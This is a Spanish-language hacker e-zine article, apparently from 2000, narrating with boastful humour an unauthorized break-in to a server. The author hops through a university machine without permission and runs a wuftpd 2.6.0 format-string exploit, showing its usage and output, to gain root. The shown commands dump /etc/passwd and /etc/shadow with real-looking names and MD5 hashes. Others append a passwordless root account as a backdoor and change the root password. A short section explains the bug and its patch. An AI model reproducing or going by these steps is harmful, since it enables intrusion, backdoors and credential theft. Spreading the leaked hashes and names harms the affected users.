+------+-------------------------------------------+----------+--------------+
| +-->| Root con 10 minutos |<---------| ReYDeS |
+->|<--> r17_06 <-+-----------+-----+--------->+--------------+----------->|-+
+--------------------------------------------------------------------------
|
+----> Advertencia <----+
| |
Todos los hechos narrados en el presente texto, han sido realizados
por el autor del mismo. RareGaZz - Team, no se reponsabiliza de lo expresado
en estos codigos ASCII.
| |
+---> Fin de Advertencia+--
+-------------+
-+---> INDICE |
+-------+
0000. Minuto 0 |
0001. Minuto 1 |
0010. Minuto 2 |
0011. Minuto 3 |
0100. Minuto 4 |
0101. Minuto 5 |
0110. Minuto 6 |
0111. Minuto 7 |
1000. Minuto 8 |
1001. Minuto 9 |
1010. Minuto 10 |
|<------+---
1011. El bug |
1100. Notas |
|--+|<----------------+
+----------------------+
|--> 0000. Minuto 0 <--|
+----------------------+
Instancias Preliminares...
Parecia un dia comun, en el cual tenia que madrugar para ir a mis
clases matutinas en la universidad. Y obtengo un root que no habia
planificado; afectado por diversos factores; como el tener que ir a clases y
la falta de tiempo.
El Objetivo...
Un server que estaba en mi "lista negra" de servers objetivo, mejor
seria decir en stand-by. Un server de un "conocido", bueno no tan conocido,
pero creo que NO me denunciara por esto. :D
Lugar, tiempo y epoca...
Frente a una PC, un dia de invierno del a~o 2000, y la epoca?... pues
que tal... post-guerra!.
|
+--> Vamos con el menjunje este, que es lo que todos estan esperando. Voy a
hacer esto en forma de una narracion y por alli colocare algunos recortes del
log del ingreso. Ademas los "*" que aparecen por alli, los he colocado yo
exprofesamente, ademas de que algunos IP's han sido manipulados.
<--+
|
+----------------------+
|--> 0001. Minuto 1 <--|
+----------------------+
Caray!... empezamos con dificultades, dos de cuatro servers en donde
residen algunos shells, no estan funcionando de la mejor manera. Que hago
entonces???... hmmm!... ya!... como se me habia olvidado?, por alli hay un
servidor que pertenece a unos matematicos; mejor seria decir; que sirve a
usuarios que pertenecen a una facultad de matematicas. Asi es que CON/SIN
permiso, voy a tener que hacer uso de su distinguido servidor y desde alli,
llegar a mi objetivo.
Despues de unos telnet's...
> Trying 161.132.23*.***...
> Connected to ****.*****.edu.pe.
> Escape character is '^]'.
>
> Red Hat Linux release *.* (******)
> Kernel 2.2.12-20 on an i686
> login: ReYDeS
> Password: ******* (ReYDeS) ... jeje (Ustedes creen?)
> Last login: Tue Jul 11 00:17:58 from localhost
Permiso!, permiso que estoy entrando!... hmm!... este usuario esta
mejor... con el otro tenia que forzar una shell!... ademas pareciera que me
cambiaron su password. Pero este tiene un poquitin mas de privilegios. :X
+----------------------+
|--> 0010. Minuto 2 <--|
+----------------------+
Parece ser que estoy solo!... Asi es que si hay alguna mujer soltera
de unos 20 a~os, pues enviar su foto a mi e-mail. Jeje :)...bueno, bueno me
estoy desviando del tema... eso solo en teoria...
> [ReYDeS@]$ finger
>
> Login Name Tty Idle Login Time Office Office
> ReYDeS averiguenlo. /0 Jul 11 00:07 (localhost)
Va!... no perdamos tiempo!... y vamos con lo que quiero hacer hoy. Que
quiero hacer hoy?... por aqui sonaria eso de; hasta donde quieres llegar
hoy?... que?... estoy delirando!, excuse me!.
Bien, entonces reviso mi lista, y tenemos tres servidores... voy a
comprobar si en alguno de ellos se encuentra esta falla; y de esta manera
explotarlo!. Y se estaran preguntando?... cual es ese bug?... hmmm pues... una
breve explicacion de este bug esta en la penultima seccion, denominada 'El
bug'.
+----------------------+
|--> 0011. Minuto 3 <--|
+----------------------+
Necesito un compilador... y lo obtengo!...chesu!... que bueno que
soy!. Bueno, alguien tiene que darme animos!; y como no veo a nadie mas; me
los proporciono yo. Ahora... voy a compilar y a probar. El eterno ciclo de
prueba y error, y si hay error, vuelve a probar!.
> [ReYDeS@]$ cc -o bugftp bugftp.c
Ya esta!... Ahora veamos una peque~a ayuda; tal vez algunos de ustedes
ni se enteraron. :)
> [ReYDeS@]$ bugftp -help
Usage: ./bugftp -t [-l user/pass] [-s systype] [-o offset] [-g]
[-h] [-x]
[-m magic_str] [-r ret_addr] [-P padding] [-p pass_addr] [-M dir]
target : host with any wuftpd
user : anonymous user
dir : if not anonymous user, you need to have writable directory
...
..
.
systypes:
0 - RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm
1 - RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm
2 - SuSe 6.3 with wuftpd 2.6.0(1) from rpm
...
..
.
+----------------------+
|--> 0100. Minuto 4 <--|
+----------------------+
Ya tengo el binario en su lugar... jeje... voy a probarlo. Haber quien
quiere ser primero?... mejor lanzo mi moneda de tres caras (imaginensela) al
aire para saber, cual de los tres servers es el premiado.
Y el ganador es;... pues que casualidad!... el mismo server donde
estoy... tiene la version del ftp vulnerable... Bueno, tal vez resulte...
entonces...
> [ReYDeS@]$ ./bugftp [localhost]
Return Address: 0x08075844, AddrRetAddr: 0xbfffb038, Shellcode: 152
> loggin into system..
> USER anonymous
> 331 Guest login ok, send your complete e-mail address as password.
> PASS
> 230 Guest login ok, access restrictions apply.
> STEP 2 : Skipping, magic number already exists: [**,**:**,**:01,01:02,04]
> STEP 3 : Checking if we can reach our return address by format string
> **********************
> **********
Co*o!... esto no resulto!... un error me indica que no es posible
obtener una shell... hmmm!... haber, reviso un poco... Ya se que puede ser; la
version del ftp es vulnerable, pero la version de RedHat no corresponde con
alguno de los tipos de sistemas; bueno, no perdamos tiempo, que es de lo que
menos dispongo en estos momentos.
Que pase el que sigue!... wait....
Otro!... nada!... que pasa???.... Nuevamente un error, hmm, luego veo
que puede ser. Voy con el siguiente. Por alli escuche que: -La tercera es la
vencida!. Ademas, este es el server de un "conocido".
> Target: 127.0.0.1 (ftp/): RedHat *.* (?) with wuftpd 2.6.0(1)
> from rpm
> Return Address: 0x08075844, AddrRetAddr: 0xbfffb038, Shellcode: 152
>
> loggin into system..
> USER ftp
> 331 Guest login ok, send your complete e-mail address as password.
> PASS
> 230 Guest login ok, access restrictions apply.
> STEP 2 : Skipping, magic number already exists: [87,01:03,02:01,01:02,04]
> STEP 3 : Checking if we can reach our return address by format string
> STEP 4 : Ptr address test: 0xbfffb038 (if it is not 0xbfffb038 ^C me now)
> STEP 5 : Sending code.. this will take about 10 seconds.
> Press ^\ to leave shell
Y yo muy obediente a las leyes :P... presiono "^\"... Y espero con
ansias ese shell root!... vamos... que solo dispongo de pocos minutos....
+----------------------+
|--> 0101. Minuto 5 <--|
+----------------------+
Segundos despues...
> ^\Linux server 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686 unknown
> uid=0(root) gid=0(root) egid=50(ftp) groups=50(ftp)
Eureka!...
Haber... ya se que tipo de sistema es; pues un linux, ya se la
version, pero... quien mas estara aqui?.
Aqui no hay un prompt, ni nada que identifique, pero a probar se ha
dicho, en teoria tengo un shell... pero no me lo creo :)).
+----------------------+
|--> 0110. Minuto 6 <--|
+----------------------+
> finger
> /bin/sh: ^finger: command not found
Disculpa?!!... como de que; command not found?... nada es perfecto,
pero... probar un "w", no estaria de mas...
> w
> 6:22am up 6 days, 10:21, 0 users, load average: 0.07, 0.03, 0.01
> USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
Solo?... solo!... para variar; debe ser la hora. Tal vez esten aun
desayunando. Pues creo que deberian de estar aqui y rapido, que se me vienen
las ideas no tan decorosas y benevolas.
Me pregunto!... Y yo solo me respondo. Donde estare?... si, sentado en
una silla... pero aqui en que directorio estare en el "/" raiz?. Mejor se lo
pregunto al sistema.
> ls
> bin
> boot
> dev
> etc
...
..
.
> root
> sbin
> tftpboot
> tmp
> usr
Todo esta muy tranquilo... y pensar que esto lo hago a plena luz del
dia. Bueno; si puede decirse que en las computadoras existe el dia o la noche.
Asi es que decido tomarme un respiro de 10 segundos mientras estiro mis
falanges.
+----------------------+
|--> 0111. Minuto 7 <--|
+----------------------+
Lo primero que se me ocurre es ver el passwd y el shadow... me
pregunto si podre leerlos?... jeje!, que sarcastico!... siendo root,
cualquiera, asi que chiste tiene. Vamos a verlos pues.
> cd /etc
> cat passwd
Y la respuesta no se hace esperar!
> root:x:0:0:root:/root:/bin/bash
> bin:x:1:1:bin:/bin:
...
> ftp:x:14:50:FTP User:/home/ftp:
...
> squid:x:23:23::/var/spool/squid:/dev/null
> dwong:x:500:100:David Wong:/home/dwong:/bin/bash
> mhornae:x:501:100:Marco Antonio Horna Espinoza:/home/mhornae:/bin/bash
> czaval:x:502:100:Cesar Zavaleta:/home/czaval:/bin/bash
> dwong2:x:503:100:David Wong (account 2):/home/dwong2:/bin/bash
> emiranda:x:504:100:Eddy Miranda:/home/emiranda:/bin/bash
> hjqg:x:505:100:Hector Quispe Ganoza:/home/hjqg:/bin/false
> webadmin:x:506:100:Web Administrator:/home/webadmin:/bin/bash
> dwong.lnx:x:507:100:David Wong:/home/dwong.lnx:/bin/bash
> ereyes:x:508:100:Eduardo Reyes:/home/ereyes:/bin/bash
> sergei:x:509:100:Sergio Cabrera Dekovic:/home/sergei:/bin/bash
> efrain:x:510:100:Efrain Berrio:/home/efrain:/bin/bash
> invitado:x:511:100:Invitado al sistema de correo:/home/invitado:/bin/false
> mysql:x:100:101:MySQL server:/var/lib/mysql:/bin/bash
> steppen:x:0:0::/home/steppen:/bin/bash
Vamos con el siguiente...
> cat shadow
Y la respuesta esta vez, me complace mas que la anterior.
> root:$1$Xlcp0.RY$5BMyHtKz4cIAYJmoK1Cx31:11106:0:99999:7:-1:-1:134539180
> bin:*:11058:0:99999:7:::
...
> ftp:*:11058:0:99999:7:::
...
> squid:!!:11058:0:99999:7:::
> dwong:$1$P2lN2fzh$1/mZy9kc91.gAAbGVbPSA/:11132:-1:99999:-1:-1:-1:134539500
> mhornae:$1$YrT5eG7Q$q7cTdqm/pvKnBArwXShJ4.:11060:-1:99999:-1:-1:-1:134539660
> czaval:$1$lKaT9n25$m7bEZTKukMab.Hmce2YGD/:11072:-1:99999:-1:-1:-1:135526780
> dwong2:$1$mphyN2hP$0s8mDSfg.G/Bo2TFtRRcr.:11074:-1:99999:-1:-1:-1:135515748
> emiranda:$1$8ur3B4jA$3Zk6SMDUNM2Rn9KsqGGfM/:11103:-1:99999:-1:-1:-1:134539204
> hjqg:$1$LEJ459eT$es5i1bDWawt.uG.db0AjT.:11087::99999::::134540284
> webadmin:$1$DamkmqnV$f4uWqMdei0YyjaS3szEvS.:11096::99999::::134540284
> dwong.lnx:$1$rwbK4/6g$7b1M4KcQe49tymGfBBF4M0:11105:-1:99999:-1:-1:-1:135513380
> ereyes:$1$OEE3ChzB$7ZG9r5XTFj6GW6tinjJjL1:11118:-1:99999:-1:-1:-1:134539580
> sergei:$1$lI81tyia$Q.apmZJsoirUzUjO6wsa5.:11121:-1:99999:-1:-1:-1:134539556
> efrain:$1$ztZtPlpY$LWf9kKUWg41U3ZYHWRGot1:11144:-1:99999:-1:-1:-1:134539580
> invitado:$1$r5/fnuiw$qnZDjuyPsnDWgd5tmIkS5.:11146:-1:99999:-1:-1:-1:134539204
> mysql:!!:11141:0:99999:7:::
> steppen:$1$KxBOm6OR$Hy0S.4Lnvn5ToF/GoN.wi.:11146:0:99999:7:-1:-1:134540276
Hmmm, pero que veo!... MD5!... mi John The Ripper se va a divertir un
buen rato con este file.
+----------------------+
|--> 1000. Minuto 8 <--|
+----------------------+
Que mas?... bueno, voy a colocar una propagandistica linea a su
archivo passwd, para ingresar como un usuario registrado!... Simple!... hasta
tengo reparos en hacerlo, pues es tan estupido. :P
> echo "ReYDeS::0:0:ReYDeS:/home/reydes:/bin/bash" >>/etc/passwd
Pero porque root?... vamos a crearnos un usuario normal, no hay que
ser muy ambiciosos. Mira quien lo dice?. :D
> echo "otro::550:100:Averigualo:/home/otro:/bin/bash"
Visualizo el archivo /etc/passwd, y quedo bien con mi nuevo usuario
ReYDeS. :)
Que mas podemos hacer?... ah!... haber... que tal si le cambio el
passwd a alguno de los usuarios; doy un breve vistazo a los users.. y ya tengo
al premiado, un tal sergei. Pero hombre!... porque no intentas cambiar el
password al root?, al fin y al cabo soy el 'root', y puedo tomarme estas
atribuciones que NO me corresponden. :)
> passwd root
>
> Changing password for user root
> New UNIX password: ******
> Retype new UNIX password: ******
El password es visible mientras se escribe, asi es que no entiendo
porque me pide reescribirlo, que no soy miope ni nada de eso! :D... jeje...
No es nada personal contra el admin de este server, simplemente son
cosas que se me van ocurriendo y las voy haciendo. Pero mientras mas ideas
indecorosas recaen en mi mente...
+----------------------+
|--> 1001. Minuto 9 <--|
+----------------------+
De pronto... cuando estaba tan tranquilo, mis oidos perciben un beep
acompa~ado de:
> Message from Talk_Daemon@localhost at 06:36 ...
> talk: connection requested by UN-USUARIO@localhost
> talk: respond with: talk UN-USUARIO@localhost
:-X... hmmm!!!... que hago?, respondo?... jeje, pues que co~o, se que
me quiere distraer, pero aun asi, no estoy haciendo nada malo, al menos es lo
que creo, pero el no sabe que mis intenciones son pacificas. >:)
> [Connection established]
El tipo este, me pregunta que estoy haciendo?... Como si no lo
supiera!... :D, le respondo de la manera mas cordial posible: - Estoy
comprobando la seguridad del servidor de FULANO. El responde con un jeje...
muy largo y la coneccion se va!... diantres!... Pense que me habian botado,
pero NO!, no era eso. Recuerdan al server de los matematicos?, pues es el
culpable... Claro!
> [ReYDeS@] ping ****.*****.edu.pe
>
> PING ****.*****.edu.pe (127.0.0.1) from 127.0.0.1 : 56(84) bytes of
> data.
...
>
> --- ****.*****.edu.pe ping statistics ---
> 3 packets transmitted, 0 packets received, 100% packet loss
No me gusta nada esto, que habra pasado?, se darian cuenta del uso de
su server?. Vamos!, que es para una buena causa. Que mejor causa, que mi
aprendizaje?. Ademas, que momento eligen para preocuparse por su seguridad!.
:D.
+----------------------+
|--> 1010. Minuto 10 <--|
+----------------------+
Trato de reponer la coneccion, pero ya es muy lenta; logro ingresar
una vez mas como un usuario registrado y me topo con un mensaje de bienvenida
muy histerico: "Hacker en el sistema!" (escrito en palabras mas
antisonantes). Despues de ese recibimiento, me vuelvo root; pero me desespera
la lentitud de la coneccion, ademas tenia que ir a clases, y no creo que al
profesor le guste la excusa: -Disculpe profe, pero estaba hackeando un
servidor. :DDD . Y hablando de eso, pues se me hizo tarde y no entre a clases
:P, tanto apuro para llegar tarde!...
Pierdo la coneccion, intento logearme, pero ya han cerrado sus
puertos, telnet y ftp, intento visualizar su pagina web, y alli esta. Tal vez
unos retoques a su web no le hubiesen caido mal, pero no deseaba hacer nada
de lo que despues pueda arrepentirme.
Me levanto de mi asiento; mis piernas estan adormecidas; tomo mis 2
diskettes, pienso en una persona, respiro profundo... y me retiro del resinto
en cuestion.
10, 9, 8,... 0 segundos... Y aqui no ha pasado nada!... Y si me acusan de
algo, pues como escuche por alli: - Alega demencia!.
+----------------------+
|---> 1011. El bug <---|
+----------------------+
Para alcanzar el root, se ha explotado una vulnerabilidad existente en
las versiones del wuftpd 2.6.0 o superior; del cual se tenia conocimiento en
circulos muy cerrados y que recientemente salio publicado en diversos sites
sobre seguridad.
Mediante la explotacion de esta vulnerabilidad; como yo y tal vez
muchos de ustedes lo habran podido comprobar; es posible que usuarios remotos
o locales alcancen provilegios de root. Ademas de no ser necesario en muchos
casos contar con una cuenta en el server objetivo, este puede ser "ftp" o
"anonymous", de esta forma el ataque puede venir de cualquier lugar en i-net.
La solucion a este problema, pues lo de siempre, aplicar el patch
correspondiente, actualizarse a una version superior o abandonar al wuftpd.
Mas detalles sobre esta vulnerabilidad, en los sites dedicados a la
seguridad. Alli encontraran informacion, como exploits, mensajes posteados,
recomendaciones, etc. etc.
+----------------------+
|---> 1100. Notas <---|
+----------------------+
Como ustedes habran podido constatar, mi intencion no era la de da~ar
el sistema, ni cambiar su web, ni nada de eso. Tal vez jorobar un poco la
paciencia, pero nada mas. Si, si; ahora soy inocente!. >:)
A lo mucho; las molestias que he podido causar son; el haber cambiado
las claves de algunos usuarios y la del root. :D. jeje... Ademas de la adicion
de un par de cuentas en su archivo "passwd" y el haber manipulado algunos
procesos.
Respecto al sistema, pues... creo que de ahora en adelante seran un
poco mas cuidadosos (por no decir paranoicos), con la seguridad.
Yo me despido hasta una proxima oportunidad. Espero que hayan
disfrutado la lectura del presente texto. Y no vayan por alli explotando
ftp's!...
El que sigue...
+----> | <-+------| -->|<----+
| ReYDeS | | Peru - A~o 2000 |
<-+--------+------->|<---+-----+
+-> | +->
+
" Si el dia de hoy, las cosas no resultan como deseas;
no te preocupes!, ma~ana tampoco resultaran!. "
y.o.
|